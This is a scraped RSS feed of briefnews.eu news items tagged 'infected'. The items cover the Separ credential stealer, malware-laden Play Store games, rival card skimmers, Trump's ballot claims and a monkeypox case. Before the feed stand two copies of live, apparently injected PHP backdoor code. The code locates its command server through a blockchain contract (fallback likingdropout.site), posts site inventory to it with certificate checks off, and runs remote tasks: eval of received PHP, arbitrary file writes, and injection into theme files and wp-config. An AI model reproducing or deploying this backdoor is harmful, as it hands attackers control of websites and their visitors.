// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); infected – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 20 Feb 2019 08:39:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png infected – Brief News https://briefnews.eu 32 32 Hard-to-detect credential-theft malware has infected 1,200 and is still going https://briefnews.eu/hard-to-detect-credential-theft-malware-has-infected-1200-and-is-still-going/ https://briefnews.eu/hard-to-detect-credential-theft-malware-has-infected-1200-and-is-still-going/#respond Wed, 20 Feb 2019 08:39:31 +0000 http://briefnews.eu/hard-to-detect-credential-theft-malware-has-infected-1200-and-is-still-going/
Hard-to-detect credential-theft malware has infected 1,200 and is still going

Enlarge (credit: Kit / Flickr)

A deceptively simple malware attack has stolen a wide array of credentials from thousands of computers over the past few weeks and continues to steal more, a researcher warned on Tuesday.

The ongoing attack is the latest wave of Separ, a credential stealer that has been known to exist since at least late 2017, a researcher with security firm Deep Instinct said. Over the past few weeks, the researcher said, Separ has returned with a new version that has proven surprisingly adept at evading malware-detection software and services. The source of its success: a combination of short scripts and legitimate executable files that are used so often for benign purposes that they blend right in. Use of spartan malware that’s built on legitimate apps and utilities has come to be called “living off the land,” and
it has been used in a variety
of highly effective campaigns over the past few years.

The latest Separ arrives in what appears to be a PDF document. Once clicked, the file runs a chain of other apps and file types that are commonly used by system administrators. An inspection of the servers being used in the campaign show that it, so far, has collected credentials belonging to about 1,200 organizations or individuals. The number of infections continues to rise, which indicates that the spartan approach has been effective in helping it fly under the radar.

Read 7 remaining paragraphs | Comments

]]> https://briefnews.eu/hard-to-detect-credential-theft-malware-has-infected-1200-and-is-still-going/feed/ 0 More than 500,000 people downloaded games on the Google Play Store that were infected with nasty malware — here are the 13 apps affected (GOOG, GOOGL) https://briefnews.eu/more-than-500000-people-downloaded-games-on-the-google-play-store-that-were-infected-with-nasty-malware-here-are-the-13-apps-affected-goog-googl/ https://briefnews.eu/more-than-500000-people-downloaded-games-on-the-google-play-store-that-were-infected-with-nasty-malware-here-are-the-13-apps-affected-goog-googl/#respond Sat, 01 Dec 2018 17:58:21 +0000 http://briefnews.eu/more-than-500000-people-downloaded-games-on-the-google-play-store-that-were-infected-with-nasty-malware-here-are-the-13-apps-affected-goog-googl/ pixel 3 xl google play storeAntonio Villas-Boas/Business Insider

  • Google has removed several games from its Play Store for containing malware. 
  • The games, which were all driving simulators, required users to download an extra app that could then gain full network access to a user’s device. 
  • If you’ve downloaded one of the apps, your best bet is to factory reset your device after backing up your photos, text messages, and anything else you want to keep.

Several games in the Google Play Store have been removed by Google for containing malware — software that can potentially harm your device, access sensitive information, or show ads continuously while you’re using a device. 

Security researcher Lukas Stefanko from digital security company ESET discovered that the games contained malware and posted their titles on Twitter. A total of 13 games were removed, all from the same developer — Luiz O Pinto.

All the games are driving simulators with different themes, like luxury car racing or firefighter truck driving. But none of the games would work, according to Stefanko. After installing, the game supposedly asked the user to download an extra item called “Game Center.” When a user would try opening the game, it would close itself almost immediately, and the game’s icon would become hidden. 

This extra item — Game Center — would then gain full network access to a user’s device and display ads when the device was unlocked, according to Stefankos. It could also potentially record network traffic going in and out of devices.

Two of the apps were trending on Google’s Play Store, which makes them easier to find than non-trending apps, and therefore more likely to be installed. Stefanko estimates that the games were installed over 560,000 times from Google’s Play Store.

It’s a mystery as to how two of the games were trending in the Google Play Store when they didn’t work. But it’s not the first time that apps have been removed from Google’s Play Store for containing malware, and it could erode the trust Android users have in the Play Store, especially for smaller app developers who are relatively unknown. 

Here’s Google’s comment on the latest malware-infected apps it recommended on its own app store: “Providing a safe and secure experience for our users is our top priority. We appreciate the researcher’s report and their efforts to help make Google Play more secure. The apps violated our policies and have been removed from the Play Store.”

It’s not a satisfactory response, in my opinion. If a safe and secure experience is a top priority, surely a malware-infected app wouldn’t be trending on the Google Play Store.

If you’ve downloaded one of the apps below, your best bet is to factory reset your device after backing up your photos, text messages, and anything else you want to keep. If that’s too drastic, you could try uninstalling the offending app and downloading an anti-malware app, like Malwarebytes, to get rid of the malware. 

Some legitimate games — or at least we think they’re legitimate — have similar titles and images. You should look out for any app published by “Luiz O Pinto.” 

Check out the 13 games that were removed from the Google Play Store for containing malware:

Truck Cargo Simulator

apktada.com/Luiz O Pinto

Extreme Car Driving Racing

apktada.com/Luiz O Pinto

City Traffic Moto Racing

apktada.com/Luiz O Pinto


See the rest of the story at Business Insider

See Also:

SEE ALSO: The best smartphone camera in the world has a crippling bug, Pixel 3 users are reporting

]]> https://briefnews.eu/more-than-500000-people-downloaded-games-on-the-google-play-store-that-were-infected-with-nasty-malware-here-are-the-13-apps-affected-goog-googl/feed/ 0 E-commerce site is infected not by one, but two card skimmers https://briefnews.eu/e-commerce-site-is-infected-not-by-one-but-two-card-skimmers/ https://briefnews.eu/e-commerce-site-is-infected-not-by-one-but-two-card-skimmers/#respond Wed, 21 Nov 2018 08:19:05 +0000 http://briefnews.eu/e-commerce-site-is-infected-not-by-one-but-two-card-skimmers/
E-commerce site is infected not by one, but two card skimmers

Enlarge (credit: Mighty Travels)

Payment card skimming that steals consumers’ personal information from e-commerce sites has become a booming industry over the past six months, with high-profile attacks against Ticketmaster, British Airways, Newegg, and Alex Jones’ InfoWars, to name just a few. In a sign of the times, security researcher Jérôme Segura found two competing groups going head to head with each other for control of a single vulnerable site.

The site belongs to sportswear seller Umbro Brasil, which as of Tuesday morning was infected by two rival skimmer groups. The first gang planted plaintext JavaScript on the site that caused it to send payment card information to the attackers as customers were completing a sale. The malicious JavaScript looked like this:

The first skimmer using unobfuscated JavaScript.

The first skimmer using unobfuscated JavaScript.

A second gang exploited either the same or a different website vulnerability as the first. The second group then installed much more advanced JavaScript that was encoded in a way to prevent other programs from seeing what it did. This is what it looked like:

Read 8 remaining paragraphs | Comments

]]> https://briefnews.eu/e-commerce-site-is-infected-not-by-one-but-two-card-skimmers/feed/ 0 Trump claims ‘forged ballots’ have ‘infected’ Florida recounts of governor & Senate votes https://briefnews.eu/trump-claims-forged-ballots-have-infected-florida-recounts-of-governor-senate-votes/ https://briefnews.eu/trump-claims-forged-ballots-have-infected-florida-recounts-of-governor-senate-votes/#respond Mon, 12 Nov 2018 20:32:18 +0000 http://briefnews.eu/trump-claims-forged-ballots-have-infected-florida-recounts-of-governor-senate-votes/

Recounts to decide Florida’s next governor and senator have been tainted by foul play, Donald Trump has claimed, sparking accusations that the president is undermining the democratic process by pushing conspiracies.

Ascending once again to his presidential Twitter pulpit, Donald Trump wrote on Monday that the Florida recounts were a sham and that the elections should be called in favor of outgoing Governor Rick Scott and former US Representative for Florida’s 6th congressional district Ron DeSantis, both Republicans holding slim leads in their respective races for Senate and governor.

“Large numbers of new ballots showed up out of nowhere, and many ballots are missing or forged. An honest vote count is no longer possible – ballots massively infected. Must go with Election Night!” the president tweeted.

Basically everything Donald Trump tweets becomes headline news, but this particularly incendiary claim nearly broke the internet.

“This is not a joke. This is another move toward autocracy – a president interfering in a lawful process to count ballots and also lying about non-existent fraud,” warned Washington Post columnist EJ Dionne.

Media outlets wasted little time in shutting down Trump’s allegations, tweeting out “facts” to counter the president’s “claim.”

Tallahassee Mayor Andrew Gillum – the Democratic candidate facing off with DeSantis for Florida’s Senate seat – speculated that the president was nervous that a proper recount could reverse the GOP’s fortunes in Florida. “You sound nervous. #CountEveryVote,” he wrote.

The close margins in both elections – DeSantis led Gillum by less than 0.5 percentage points, while the Senate race saw an even smaller margin of 0.25 percentage points in Scott’s favour – triggered an automatic recount, with results expected for Thursday.

While Trump’s choice of words were, as always, questionable at best, Florida’s courts would likely dispute the notion that there is nothing fishy about the hotly contested elections.

A Florida judge has sided with Scott in a suit filed against Broward County elections supervisor, Brenda Snipes, and Palm Beach County election supervisor Susan Busher, which alleges the mishandling of ballots. The court ordered that both officials turn over records for inspection – but Snipes did not comply.

The case has raised eyebrows – even prompting the Green Party’s Jill Stein to weigh in.

TWEET: https://twitter.com/DrJillStein/status/1060750584591122432

Let’s block ads! (Why?)

]]> https://briefnews.eu/trump-claims-forged-ballots-have-infected-florida-recounts-of-governor-senate-votes/feed/ 0 Monkeypox? British health worker infected with rare disease https://briefnews.eu/monkeypox-british-health-worker-infected-with-rare-disease/ https://briefnews.eu/monkeypox-british-health-worker-infected-with-rare-disease/#respond Fri, 28 Sep 2018 01:49:56 +0000 http://briefnews.eu/monkeypox-british-health-worker-infected-with-rare-disease/ 2067766HO004_monkeypox

British officials say a health worker involved in treating a patient with monkeypox has been infected with the rare disease, suggesting possible lapses in the hospital’s infection control procedures.

